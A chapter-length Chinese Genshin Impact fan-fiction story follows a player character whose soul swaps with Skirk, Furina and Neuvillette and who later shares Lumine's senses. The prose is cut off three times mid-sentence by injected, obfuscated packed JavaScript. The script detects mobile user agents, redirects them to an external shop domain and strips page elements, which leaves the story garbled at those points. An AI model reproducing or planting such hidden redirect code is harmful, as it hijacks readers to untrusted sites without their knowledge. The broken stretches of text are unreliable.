篝火的火焰在她脸上跳跃,她坐在深渊的异度空间,询问玩家按照深渊的秉性,不该一句招呼不打,哄骗这世间之人对他动手,在悄无声息之中替换掉无数人的灵魂吗。 “你在说笑吗。”玩家盯着丝柯克,“那样两个世界都会出大乱子。” 【丝柯克】说,让这个世界出乱子,就是深渊的目的;让那个虚假世界取代此方真实,是他们那个世界所有人的目的。 “不对。”玩家摇头。 哪怕小草神跟玩家说过那个世界不止高天虚假、整个世界都虚假;哪怕阿贾克斯让玩家穿越第四面墙抵达现实世界去获取情报。 但他们的真实目的都不是取代这个世界。 是要保留那份随时可能被现实覆盖的泡影。毕竟真说起来,他们的世界可比原著少了很多不必要的灾难。 “对你而言,”玩家看着【丝柯克】的眼睛,“能和父母一起在宴会中一同歌唱,不比孤身一人更快乐?” 玩家止住【丝柯克】的话头:“这不是深渊提供给你的幻想,而是另一种命运的可能性,你有机会把现实改写得更圆满。” 【丝柯克】说玩家这话真的很像深渊在蛊惑人心,她提起剑,给玩家削了肉,递送给玩家。 已发生的事情不可挽回。 时间在向前走。固定的过去无法被轻易撼动。如果玩家所在的错位世界是天空岛在模拟现实发展,那么如今现实已经进展到荧在挪德卡莱旅行的阶段,即使可以参照错位时空改写命运,也来不及了。 何况,凭什么说那个虚假世界,才更圆满?从【丝柯克】了解到的现状而言,那不过是一个比现实更荒诞、所有人的命运与想法都令人细思极恐的□□。 没有人事前告诉玩家,攻击玩家能导致彼此的灵魂互换,不就是一个很好的证明? “我不会和你一起去见旅行者,也不建议你去找旅行者和她坦诚你和那个世界的情况。”【丝柯克】平静道,“深渊很会骗人。” 假如从玩家遇见阿贾克斯被带出荒诞古国的经历也是深渊给予他的幻梦,玩家又如何能保证他打破所谓的第四面墙来到现实不是深渊的刻意为之? 【丝柯克】离开了。 玩家坐在这里享用了【丝柯克】留下来的深渊魔物的肉。味道不错。 “要是一切都只是骗局。”玩家自言自语,“你就不会和我说那么多了。” 只是【丝柯克】自己拿不准玩家的真实,所以忍不住揣测最坏的情况,可即使最坏的猜测中玩家是被深渊洗脑注定会给世界带来灾厄的愚者,【丝柯克】不是也没对玩家动手吗? “现在是师徒三人都给我做过饭了。”玩家舔了舔指尖,“想吃荧做的。她的手艺一定和空一样好。” 玩家看向【丝柯克】离去的方向。 【丝柯克】回去给【荧】报平安了。按照她的说法回去之后她也不会对玩家的事情多嘴。 玩家想着现在去见【荧】可能确实不是一个好的时机。 【丝柯克】的“提议”很有趣。 对,那个替换灵魂的“提议”。 “只要一百摩拉,快乐体验异世界。” 玩家思考片刻,又把木牌上的文字划掉。 “一百摩拉,不限力度打我一次。” 端着木牌路过的玩家成功吸引到了第一位意向顾客。 “这是什么?”来海边散步的【芙宁娜】睁大眼睛看着从未接触过的新型职业。 “互动游戏。” “不不不这种互动根本不能称为游戏吧?”【芙宁娜】表情拧巴,她看着佩戴丘丘人面具身形单薄的玩家,“你是遇到什么困难了吗?赚钱的方式有很多种,没必要……” “没有人会真打。我会扮演一位被打倒的敌人,让顾客对自己的强大更有信心。” “买十次。”【芙宁娜】兴致勃勃,“原来是即兴演出吗,那一百摩拉很便宜了!没想到还能有这种边练习边赚钱的天才想法!” 玩家坚决只收一百摩拉。 【芙宁娜】表示遗憾,但赞叹了玩家的很有原则。 玩家硬扛【芙宁娜】一击。 玩家站在原地一动不动。 【芙宁娜】准备严肃谴责玩家的不敬业态度和敷衍演技:“就算只有一百摩拉你这也是诈骗——” 玩家和一脸懵的芙宁娜碰拳。 “欢迎来到平行世界。”玩家把一百摩拉塞回芙宁娜的手心,“要结束旅行的话请付一百摩拉然后用元素力攻击我。” 芙宁娜看着围绕着她转的三只水精灵。 那是原本的【芙宁娜】用神之眼召唤出的战斗伙伴,而如今这三个伙伴围着她观察,表情逐渐有些困惑。 观察芙宁娜的水之生物多了一个。 天空下起小雨,【那维莱特】不知何时出现在距离玩家和芙宁娜不到两米的位置,他盯着玩家搭在芙宁娜掌心的手,视线上移。 在他眼中是深渊的邪祟与芙宁娜站在一起,而芙宁娜的灵魂发生了微妙的偏移。 “等一下。”玩家尝试阻止, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17121036|194078||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “请听我解释——”话音未落的时候玩家就被掀飞出去了。 可水元素又在下一秒轻飘飘托着玩家落地,玩家认识的那维莱特和玩家面面相觑,又和完全没搞清楚状况的芙宁娜面面相觑。 “——你一百摩拉没付。”玩家对着那维莱特说完了刚才没有说完的话。 “什么一百摩拉?”芙宁娜茫然,“空,我正在至冬新家和佩佩她们开茶会呢,怎么忽然回枫丹了?” 那维莱特没有第一时间接话。 在啪啪的暴雨中,他感知到这个世界美露莘数量的减少、纯水精灵的混浊以及人类族群中残留的过于刺鼻的乐斯气味,以至于心情糟糕。 但很快他看向玩家方向。 那维莱特很抱歉地表示,似乎另一个自己也没有随身携带摩拉克斯的血肉。 “那叫摩拉。”玩家强调。不要把提瓦特的通行货币讲得那么奇怪。连带着玩家手里的摩拉都变得滚烫。 “那么我回沫芒宫借用这位同族的资产,用来补偿他对你的冒犯。”那维莱特转过身去,“作为交换,我会尽职尽责地做好他的工作。” “听起来你正在休假。” “嗯,芙卡洛斯女士认为我每年都至少有十天休息。”那维莱特本来并不高兴芙卡洛斯女士强制他放假,现在却表示他有权决定自己的假期。 无论是在异世界的沫芒宫批改公文,还是在异世界的欧庇克莱歌剧院审判罪犯,都是非常难得的度假体验。 “不行,我们一般不把代班叫度假。”芙宁娜说那维莱特去度假,她来帮这个世界的【那维莱特】当审判官。 “……”那维莱特默不作声离开。 海边被遗弃了两只落汤鸡。 “真是过分!”芙宁娜难以置信,“他怎么能这样丢下我们?我们难道不是他最好的人类朋友吗?” “他没有丢下。我们身上湿漉漉的,是之前那位【那维莱特】没有帮我们隔开雨水,我们认识的那维莱特不太方便对我们动用元素力。他只是更想要自己上班,不想要你代班。” “……我不是真的让你给我解释。” 对话之间,芙宁娜很快掌握了水系神之眼的使用办法,她蒸发掉身上多余的水汽,她让自己的三位亲友团暂时休息,把玩着玩家给她的一百摩拉凑近玩家。 她从那维莱特与玩家的对话,以及木牌正反面的字样等等线索中,拼凑出她抵达世界的真相。 “当然,我很能理解那维莱特为什么拒绝我。”芙宁娜眼睛亮晶晶的,“这个世界很有趣。我刚才应该修改下措辞,让他和我们一起在平行世界闯荡。” “他和这个世界的【那维莱特】不一样。”玩家回答,“他来枫丹的五百年内接触最多的还是各种非人类。”所以玩家还是有些担心那维莱特身上的非人特性会招惹麻烦。 “所以在你心中最适合陪你在新世界冒险的人是我。”芙宁娜很得意,“还以为你第一个回去找阿贾克斯或是温迪呢。” “达达利亚行踪不定,温迪远在蒙德。”玩家掰着手指,“你在海边打螃蟹,比较好找,也比较好骗,你看,我用一百摩拉就把另一个你卖到异世界了。” 那个【芙宁娜】回来之后反诈能力一定有所上升,说不定还能在欧庇克莱歌剧院举办一次全民反诈宣传演出。 “这么欺负一个淑女真是太过分了。”芙宁娜拿手杖轻轻敲了敲玩家脑袋,“不许这样。我有你在身边解释还好,她过去,不只是她,茶会的其他人也会被吓到的。” 玩家开始认真反省自己,并且努力思考道歉的蛋糕要做多大。 芙宁娜安慰玩家,说茶会上有冷静的佩露薇利、有智慧的桑多涅,即使事发突然,她们也一定能很快发现真相,为【芙宁娜】好好解释来龙去脉。 “听起来更恐怖了。”玩家评论。 21.021 【芙宁娜】害怕【阿蕾奇诺】。 玩家郑重声明了这一点。 佩露薇利在这个世界是与愚人众第四席【阿蕾奇诺】,而【阿蕾奇诺】曾为了神之心试探过【芙宁娜】。 【芙宁娜】对【阿蕾奇诺】有阴影。 即使枫丹事件结束之后,枫丹官方发现第四席仆人并非带着恶意来到这片土地,但这也无法改变【芙宁娜】对【阿蕾奇诺】刻意避让的事实。 “那这不是害怕,只是怕阿蕾奇诺尴尬。”芙宁娜单手叉腰,“【我】才不是那么小心眼的家伙,只是一个同样想拯救枫丹的子民在预言到来前努力做的尝试。【我】宽恕她对神明的僭越。” 第一次听到这个观点的玩家若有所思点头:“我又瞎操心了。” “但我也要回去。”芙宁娜举起手杖,“把手摊开,如果回来的【我】允许我用她的身体去使用这个世界,我才会开始我的巡回演出。” 玩家重重点头。 芙宁娜的手杖落入玩家掌心。水元素顺着手杖尖端灌入玩家体内,玩家与【芙宁娜】对视,【芙宁娜】抬头看了看与刚才迥然不同的天色。 “【那维莱特】刚才来过了?”【芙宁娜】有很多话想说,但涨红着脸和玩家大眼瞪小眼半天,第一个问出的是这句。 “那个世界真恐怖。”【芙宁娜】一边抱怨一边快速握着手杖在沙滩上划出几行文字,“我得回去找【那维莱特】,阻止枫丹迎来有史以来最夸张的特大暴雨,而且为什么【阿蕾奇诺】会被我收养啊呜呜呜……” 芙宁娜与【芙宁娜】再一次完成了交换,玩家指着地上的信息告诉芙宁娜这是另一个她留给她的提示,能避免芙宁娜暴露自己不是本人的事实。 “我的情报搜集能力可是很强的,就算那维莱特拖了我的后腿,我也能把身份隐瞒得非常完美!”芙宁娜骄傲挺胸。 “我知道。”玩家一直很相信他眼前这位知名导演的实力,“但你为什么没告诉我你之后把佩露薇利记在了你的名下?刚才在茶会上她是不是对着另一个你叫出了MA……” 芙宁娜表示玩家被阿贾克斯叫去下深渊那都是几百年前的事情了,在玩家下深渊之前佩露薇利都还没出生呢。 芙宁娜还反问她对佩佩很有好感难道不是众所周知的事情吗? 既然壁炉之家的院长做不了佩露薇利的母亲大人,既然继承壁炉之家的克雷薇和佩露薇利同辈,那么这个监护人的角色,自然是由芙宁娜担任了。 “桑多涅还在催我佩佩什么时候能接替她的位置。”芙宁娜摇头,“佩佩只有二十七岁,还是个小孩子呢,桑多涅应该多一点儿耐心,交接的时候要表现更成熟一点儿。” 玩家移开视线。 【芙宁娜】竟然只是抱怨那个世界太恐怖没说其他的话。 心理素质还是太好了。 “我看看,这是她这几天的行程计划吧。”芙宁娜绕着沙滩上的文字转了一圈,有了这些提示,她能更好地进入【芙宁娜】的角色,“真不错,我开始期待和新朋友的茶会了。” 她邀请玩家一起。 玩家摸了摸自己的丘丘人面具。 芙宁娜歪头,她放下权杖,在沙滩上转了一圈,权杖尖端指向不远处的浊水幻灵:“这张脸不方便的话,试试变成其他生物?” 玩家在坎瑞亚有过非人状态。 玩家可以像是捏泥巴一样为自己塑形。 玩家把自己捏成浊水幻灵。 “没错,就这样小点、小点,再小一点……哇啊啊,就是这样!真可爱!”芙宁娜愉快地把玩家揣在帽子上,“走吧,去巡回演出!” 芙宁娜带着玩家在枫丹度过了愉快的三天,第四天的时候,芙宁娜笑嘻嘻地坐在水下监狱的办公室,和护士长【希格雯】你一勺我一勺地给玩家投喂吃食。 梅洛彼得堡的公爵【莱欧斯利】坐在工位上慢悠悠喝茶看报纸。 “莱欧斯利莱欧斯利,那维莱特真的很不对劲啊——呜哇!”推门而入的【派蒙】一个急刹车,难以置信地看着几乎填满整个办公室的浊水精灵。 玩家低头与瞠目结舌的【荧】对视。 玩家把【希格雯】护士长的营养餐卷走,打了声饱嗝,装载着丰盛食物的半透明身体迅速缩水,变成了【荧】的样子。 “抱歉,之后我不会使用空……” “变回我哥哥的样子。”【荧】严肃地拿剑指着玩家,“如果你维持人形的最好状态是我和哥哥的外表二选一,你维持他的样子就好了。” “噢。”玩家扁扁走开,人的身体构造还是太精细了,他本来以为自己掌握了变身的新技能,可以更讨喜一点。 【希格雯】在玩家变回去之后,愉快地踮起脚尖为玩家擦了擦脸。 【荧】松了口气,把剑放下。 【莱欧斯利】放下报纸站起来,芙宁娜伸手和【荧】及【派蒙】打招呼问好。 【派蒙】回神,才反应过来地睁大眼睛:“等一下,为什么你会在这里?你不止能变成旅行者的哥哥还能变成旅行者吗?为什么芙宁娜莱欧斯利希格雯你们都一副习以为常的样子啊!” 【派蒙】嗖地一下飞到芙宁娜身边:“你、你也还好吗?这三天枫丹廷传的那个谣言……” “啊,说【芙宁娜】在海边遇见一只美丽的纯水精灵,聆听她的故事之后允许她附身在【芙宁娜】身上的传闻?” “对的对的。”【派蒙】重重点头,“但我问过很多朋友,他们都说你还是你,只是认识新朋友太高兴了……” 她看着优雅叠坐的芙宁娜,对方的异瞳漂亮明媚,可唯有与之长久对视,才能注意到那绚丽的色彩里没有高光。 “怎么越传戏剧色彩越少啦。”芙宁娜语气轻快,“传闻是假的。我就不是本人。【芙宁娜】可不会抢夏洛蒂的照相机自拍骑着水史莱姆追夏沃蕾抢走娜维娅的伞弹枪和?克洛琳德?决斗——” “她能做出这种事。”玩家提醒,“你们本质上就是同一个人。” “能用‘你们’这个词语来形容我和她,真正的答案不是很明显嘛。”芙宁娜摇晃着蛋糕泥叉子,笑眯眯和派蒙重新对上视线,“但是我也没法阻止其他人这么想。”这也是【莱欧斯利】和【希格雯】允许芙宁娜在办公室里悠闲吃蛋糕的原因。 玩家和芙宁娜在枫丹的这三天,芙宁娜压根儿没有去尝试用演技瞒天过海,她就那么坦率地嚷嚷自己不是本人,嚷嚷着气息不详的玩家是她重要的好朋友,还因为大多数人都用那种“芙宁娜女士又在排练新剧本”的视线看着她,气呼呼地申请了梅洛彼得堡的逮捕令。 “我还想体验一把被枫丹举国通缉的快乐呢。”芙宁娜摇头,“结果罪名要我自己坦诚,监狱要我自己去,这两个坏家伙还以权谋私给我在监狱里开后门!” 越想越气的芙宁娜又给自己塞了一块蛋糕,给派蒙嘴里堵了一个马卡龙:“快,拿出你刚才的眼神!你面前是一个邪恶人类,她要带着她的邪恶小伙伴征服新世界!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17131989|194078||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 玩家担心她噎到,顺手拍了拍【派蒙】的背,【荧】伸到半空的手止住,瞥了一眼玩家又慢吞吞放下,而【派蒙】仰头升高高度,拍着肚子换了一副嘴脸。 “没有吃过的新口味!身体暖洋洋的!”【派蒙】的声音雀跃,“真是的,我原本还在担心芙宁娜你被深渊影响了,其他人也被深渊影响了!原来根本不是这么一回事嘛!” 芙宁娜是好人!玩家是好人! “才不是——”芙宁娜拖长声音,“我可是很邪恶的,这三天还故意没有去找旅行者!结果旅行者明知道深渊就在【芙宁娜】身边还一点儿动静都没有,是不是不把她放心上?” 芙宁娜身体往靠垫上一塌,抬高手腕指向【荧】的方向:“是不是都去观察那维莱特了?他是个更邪恶的家伙,竟然只闷头工作不告诉你们他也不是这个世界的水龙!” 空气陷入停滞。 玩家:“工贼确实很邪恶。” 【莱欧斯利】像是一下子来了兴致:“原来如此,那维莱特也换人了。刚才派蒙要说的就是这件事?” 咬着马卡龙的【派蒙】回答的声音含糊不清,于是她改为双手抱着马卡龙一边吃一边重重点头。 【荧】像是已经提前猜到,所以态度平和:“丝柯克提前告诉我们,你们没有恶意。” 她看向危险气息未散的玩家和理直气壮的芙宁娜,抱起双臂,嘴唇轻抿:“至少我可以确定芙宁娜没有恶意。” “空也是深渊的受害者。”芙宁娜尝试纠正【荧】对玩家的偏见,“谁对你有恶意他都不可能有,莱欧斯利刚跟我见面的时候说他很适合养在不见阳光的梅洛彼得堡他都不生气。” “……芙宁娜女士,我很抱歉当时把这位先生错认成了您的宠物。”倚靠办公桌握着茶杯的【莱欧斯利】被呛到,接收到【荧】和【派蒙】投来的微妙视线,表情变得更无奈了,“我也会好好准备歉礼的,事实上在派蒙进来之前,我都不知道原来空你还能变成人形。” 玩家用手指挠了挠脸。 所以也不怪【莱欧斯利】。任谁看到芙宁娜带着一只比风精灵还小巧的透明水珠进来,这个水珠蹦蹦跳跳,不仅能心怀期待吃下希格雯护士长美露莘口味的自制营养餐,还能一直吃一直吃甚至想去尝试梅洛彼得堡的金属柱子,真不像什么正常人类。 “没关系。”玩家表示梅洛彼得堡对他而言就是宜居地带,“护士长很温柔,莱欧斯利先生也很友善。我喜欢这里。之后有机会希望住在这里。” “这里可不是乖孩子该来的地方。”【希格雯】摇了摇头,又看向芙宁娜,用温和却严肃的语气让芙宁娜注意保守那维莱特等于水龙王的秘密。 “我不会对外人随便乱说的。”芙宁娜心里也有数,“在场的所有人都对他的真实身份很清楚吧。” “美露莘的认知里没有龙王的概念,公爵……”【希格雯】看向【莱欧斯利】,又弯弯眼睛,“公爵有在好好保守那维莱特大人的秘密呢。” 回避不了这个话题的【莱欧斯利】用举杯畅饮的方式笑着回应了【希格雯】的称赞。 【希格雯】也在好好保守秘密。 去沫芒宫拜见来自另一个世界的那维莱特的路上,【希格雯】跟在人形且没有佩戴面具的玩家身边。 “那维莱特大人说你是他的同类。”【希格雯】轻声道,“你也是龙王吗?为什么看上去一直营养不良?” 本来打算靠近玩家私聊的【荧】和【派蒙】顿时止步。 22.022 玩家营养不良。 开玩笑,玩家今天就吃了十份营养餐。 “护士长用龙王的身体素质作为参照,那无论是谁,都是营养不良。” 从沫芒宫回来之后,面对着终于找到机会与他单独邀约的【荧】和【派蒙】,玩家坦然表示他顶多不小心摄入了龙王权柄,才会被那维莱特视为同族。 玩家是被深渊赋予吞噬的人类。 虽然在遇到那维莱特的时候,玩家的旅行刚开始没多久,玩家也没有食用过龙王的记忆。 但是凡事总有例外。 玩家也没有吃过月之少女库塔尔的记忆,但她曾把自己的神躯化作月光洒向挪德卡莱,玩家在挪德卡莱没少野炊,体内月光也很充盈。 说不定哪位龙王也是和库塔尔类似的情况,生活在时间静止之地至少十年的玩家,在自己都并未察觉的情况下摄入了权柄碎片,才会接二连三被误认成黑龙。 “请把我视作人类。”玩家关注【荧】现在的剧情节点,很善解人意地再举用了一个挪德卡莱的例子,“你们不久前应该和猎月人打过交道。” 玩家和猎月人一样,都是从深渊获得强大力量的幸运儿;玩家比猎月人幸运,从始至终都保持着意志的清醒。 “我只是来看看这个世界。”玩家说道,“对于你们来说,能去平行世界冒险,能看到朋友在平行世界的样子,不是很有趣吗?” 【荧】还是在怀疑玩家来到这个世界的目的。 【荧】知道她不可能从玩家这里得到真实的答案:玩家的认知极有可能被他的身边人蒙蔽。 “你这话说的好奇怪……”玩家摊手,“我世界的芙宁娜和那维莱特你都见过了,他们都是好人,只是和你认识的他们经历不同,本质上都是同一个人。” 【荧】不准备跟玩家继续深入这个暂时掰扯不清楚的问题。 她问玩家,玩家怎么过来的,能否自行回去。 玩家穿过第四面墙就落在【荧】和【丝柯克】她们面前了。 定位原理不清楚。 但玩家离开前身边是阿贾克斯和苏尔特洛奇,降落之后身边待着【丝柯克】。 或许穿越边界之后玩家本该遇到【达达利亚】或者【极恶骑】,但最终命运选择了折中处理,玩家首先遇见【达达利亚】的师父以及【极恶骑】的徒弟【丝柯克】。 遇见她也没什么,谁知道【荧】也在那里。 玩家挺庆幸当时【荧】的剑没有戳中自己,要是不同世界的旅行者身体互换,一只【荧】困进旅者尚未修复的身体,一只荧身体健康灵魂却正在安眠,两个都起不来而且无法进行下一次更换了。 “你认识的纳西妲没有提前跟你说过这个灵魂互换的事情吗?” 玩家摸了摸耳朵上佩戴的类似虚空终端的智能辅助,摇了摇头。 当时情况紧急,玩家直接跟阿贾克斯走了。 “紧急的情况就是送你到这个世界度假?再拉其他人度假?”【荧】双手抱胸,眯起半月眼目光审视,“派蒙,你信吗?” 【派蒙】的回答显而易见。 【荧】看向玩家:“你瞧。派蒙都不会信这种鬼话。而且芙宁娜能把反派这个词挂在嘴边,本来就非常诡异,上一个跟我说他喜欢扮演反派的是愚人众的多托雷。” 【荧】盯着玩家:“我杀死了他。” 玩家不高兴:“你要杀死芙宁娜?” 【荧】摇头:“我没这么说。” 她握紧剑柄,语气平静:“但我会杀死深渊。” 玩家降临此世的时间很不巧。 【荧】这么说道。这个时间点她已走遍七国,带着旅途的记忆去向哥哥【空】索求某个问题的答案。 【空】的回答是,命运正在被重新编织。 “什么意思?”玩家不明白。 他没从【荧】的身上感受到针对自己的杀意,但【荧】的剑尖对着玩家的胸膛,玩家还能看见漂浮在窗户边望风的【派蒙】。 他们在室内。 芙宁娜找那维莱特说话。玩家三人在休息室。这是玩家耐心和【荧】谈话的原因。他认为【荧】是想解决问题。即使针锋相对,也是走个过场,他们还不至于在沫芒宫内动手。 现在玩家仍觉得安全。 只是新知识可能又要让他的大脑沸腾。 “意思就是这是改写命运的最好时间,按照你的说法,就是由主角来完成大团圆结局。” 【荧】冷静地说这个人选本该是她的,但现在玩家和【空】的联系比她更深,玩家同样承载着七国的漂亮结局的记忆。 如今的提瓦特能被玩家所处的另一个世界覆盖。好就好在玩家和他的同伴都没有用他们的世界取代现实世界的意思,更得意于现实世界的人得知平行世界的分歧时露出的滑稽表情。 但问题也就在这里了。 平行世界的不速之客无巧不巧地赶上了【空】使用命运的织机编织地脉的时间点,此刻真实世界无限接近于梦境,现实最终的走向尚未钦定,而以玩家为媒介跨越而来的诸位访客,没有一个不具备改变现实命运的可能性。 或者从他们出现在这里的那一刻起,就是在篡改【空】和【荧】期许的命运。 即使玩家等人毫无恶意。 但深渊本身就是恶意。 玩家咬掉【荧】的剑。 旅者的元素顺着咽喉没入体内,漆黑的雾气在【荧】的身上一晃而过,又很快蒸发化作虚无。 攻击到玩家的【荧】没有被更换灵魂的迹象,抬眼看向抱着剑的玩家。 “根本没有什么灵魂互换。”【荧】证实了心中猜测,“是你的深渊之力篡改了他们的认知,将不属于他们的记忆置放到了他们身上。”而她拥有净化深渊之力的本领,所以保持原样。 “听上去很有道理。”玩家再啃了一口怀中长剑,特意定制的食物非常可口,是没吃过的新鲜口感,“但【丝柯克】换回来了,【芙宁娜】也回来过。” 玩家说,如果是深渊污染了他们的记忆,那么换回来是深渊又按了撤销键吗?而且,能在被攻击的一瞬间成功污染【芙宁娜】【丝柯克】和【那维莱特】,玩家得是多厉害。 “可能是他们都默契地瞒住了你,”【荧】在玩家对面坐下,“其实他们的灵魂一直没有换回来,他们只是在你面前装出暂时恢复正常的样子。” 至于为什么受害人能轻易中招,中招的速度还那么快,【荧】说她会再查查。 “丝柯克体内的虚界力变得更纯粹,芙宁娜身上一直有微弱的深渊气息。”【荧】给出了她难以打消怀疑的理由,“要是那维莱特没有中招,我还可以找他帮忙,但我不能信任现在的他,而且最糟糕的是——” 【荧】顿了顿。 “我发现我和派蒙走不出枫丹了。”【荧】按住太阳穴,“和当年经历的花神诞祭一样,一出城就闪回到原点,只能在枫丹廷内寻找破局办法。” 但现在的情况比那时更特殊。 花神诞祭的轮回再糟糕也不会是真正的现实,旅者能在梦境中找到破绽,将破绽展示给同伴,一起从荒诞的轮回中清醒过来;而如今的枫丹就是现实,破局点很清楚,就是玩家、那维莱特和芙宁娜,但这破局点让人无从下手。 旅行者总不可能和那维莱特打一架,或者和芙宁娜打一架。 “所以你来打我。”玩家的语气听不出哀怨,但他那张脸面无表情的样子让本来不心虚的【荧】都开始战术性倒茶。 “没有真的动手。只是尝试净化你体内的深渊力量。”【荧】喝茶。 【荧】净化失败,玩家没有受伤。 他们还弄清楚玩家所谓的灵魂互换对【荧】不起作用。 这是皆大欢喜。 并且【荧】还非常不乐意地承认,在如今被深渊影响最深的四人之中,【荧】更乐意对玩家托付信任。 “唔……”这种话可能是敷衍。但玩家被哄到了。玩家很诚恳地询问【荧】是否需要他的帮助。比如把她和【派蒙】吞进肚子里带出枫丹,然后让她们找其他能媲美龙王位阶的帮手。 “到底是怎么想出吃了我们把我们带出去的方案的!”飞得很高很远的【派蒙】拔高声音。 玩家:“苏尔特洛奇给的灵感。” “你和极恶骑这么熟?那我就更不可能接 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17143245|194078||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 受你的提议。”【荧】吐槽,抛开被玩家吃进去会不会很危险不提,谁知道把玩家带出枫丹之后其他国家的人会不会中招,枫丹光是那维莱特的灵魂出现异常这一件事就够让【荧】头疼的了。 玩家:“你刚才还说最信任我。” 【荧】:“我很信任。现在我共享着你的感官。” 玩家:“……” 玩家缓缓打出一个问号,他低头看着【荧】友情投喂的食物,才意识到这把剑不止用于试探灵魂互换,还掺杂了纳塔烟谜主一些感官共享的术法痕迹。 【荧】对于深渊的感知精度上升了。 “我得保证枫丹的地脉不会被外来者影响。”【荧】叫上派蒙,朝着门外走去,“乖乖待在这里享用晚餐,听话是向我证明你无害的唯一途径,至于你那两位朋友……我真希望他们是平行世界的访客,不是深渊化身。” 房门在玩家眼前被关上。 玩家瞄了一眼派蒙之前所在的窗户,真好,窗帘被拉得严严实实。 玩家可以走过去推开门,或者走过去把窗帘拉开,窥探外面的风景。 不过玩家老老实实坐在原地。 “这不客气的语气很耳熟。”玩家思考,“飞船里我打游戏废寝忘食的时候她也是这么叫我吃饭的。” 该不会【荧】才是贼喊捉贼的那一个,说着没有灵魂互换一切都是深渊的阴谋,实际上【荧】已经被荧换掉了,只是荧出于某个原因继续扮演着【荧】,要用冠冕堂皇的救世去达成某个目的。 “……非得走这种严肃剧情,不能纯粹地快乐地体验大世界吗?”玩家嘟囔,他坐在沙发上闭上眼睛,元素视野助力他锁定他想见的各个目标人物。 他的视野跟随着【荧】推开房门,房内芙宁娜和那维莱特相对而坐,不约而同看来的那一刻,玩家捕捉到了他们眼中微妙的暗色。 ……嗯? “你们的悄悄话说完啦?”芙宁娜的语调上翘,“怎么样,现在你眼中的我们是什么样子?” “低劣,污浊,和之前出现在提瓦特大陆上的杜林、厄里那斯一样,是诞生之初就背负罪孽的不应存在之物,是注定被勇者征讨的反派……” 咏叹调的口吻中,芙宁娜兴致勃勃踩在桌子上,小高跟旋转,从那维莱特那里抢来的拐杖向下一敲。 “但真可惜,我们是被遗弃在深渊的历史。”她语气轻扬,“能对我们下达判决的只有提瓦特的法律与裁判庭,降临者,你无权指责我的崇高、我的罪孽。” 水波纹在无形的空间内飞速向外荡开,时间仿佛被冻结,只留下旅者盲目张望,惊疑不定眼前的虚无。 “哎,等等……”玩家难以置信地看着他此时与旅者共享的视觉。 他迈出一步。 旅者眼前的一切轰然倒塌,她站在沫芒宫内,不远处芙宁娜笑着起身朝她走来,打趣地询问旅者和玩家说了什么。 “等等……” 玩家觉得这一幕该死的熟悉,而更该死的是他说这句话的时候,【荧】也同步说出了这句话,还做出了扶额的动作。 玩家静止原地。 “这也是这个世界命运的一环吗。”【荧】的声音在玩家脑中幽幽响起,“你在操纵我的身体。就像是你说的游戏一样。” “视角也和游戏一样。”玩家默默补充,“我看到的不是你的第一人称视角,是高于你头顶的俯瞰视角。” 玩家觉得他的版本更新速度实在是赶不上身边人爆猛料的速度。 他在休息室转了一圈,发现自己这次是想出去也出不去了,而且窗外的飞鸟都固定在半空,他又被困在了静止的时间之中,唯有连接旅行者看到的世界,是那样活泼的现实。 【荧】尝试从芙宁娜和那维莱特口中得到线索,然而这两人一个装模作样的一问三不知,一个从头到尾脑袋就没从公务里离开过。 【派蒙】的回答更是让人毛骨悚然。 “你在说什么啊,旅行者,哪里有和你哥哥长的一样的人出现?是你在海滩边上发现了被深渊怪物袭击的芙宁娜,又发现那维莱特被深渊侵蚀了,所以一直在努力想办法净化他们身上的邪祟——” 23.023 “唉,搞不懂为什么芙宁娜和那维莱特会那么快中招,旅行者你的净化能力也忽然不起作用了……” 【派蒙】在喋喋不休。 【荧】站在走廊上放空大脑。 玩家则是安抚性拍拍自己,庆幸【荧】的身体并未彻底被他操纵。 玩家只是能和旅行者对话,影响旅行者的决策罢了。 真让玩家自己上场以旅行者的身份和提瓦特人打交道,玩家能迅速败坏旅行者的英雄名誉,然后在潮湿洞穴隐居,忏悔地度过罪恶的一辈子。 “你的思想能不能健康一点。”旅行者拒绝在脑海里放映长着和哥哥一样脸的生物生活在地底洞穴的劣质电影,“你没有其他话要对我说吗?” “嗯……”玩家思考,“至少你不用担心我认识的其他人会出现在这个世界。”玩家现在被困在异度空间,没人能通过攻击他抵达这个世界。 “要是我继承了你的体质呢?” “啊,也有这种可能。”玩家若有所思点头,“你去往那维莱特的水杯里加过期茶叶,往芙宁娜的蛋糕里放盐,哄他们打你一次吧。” 旅行者眯起半月眼。 “抱歉。我不是没有意识到问题关键所在。”玩家移开视线,“我听到了,芙宁娜承认她来自深渊,原来我生活的提瓦特是真正的提瓦特在深渊的倒影。” “所以我就说……” 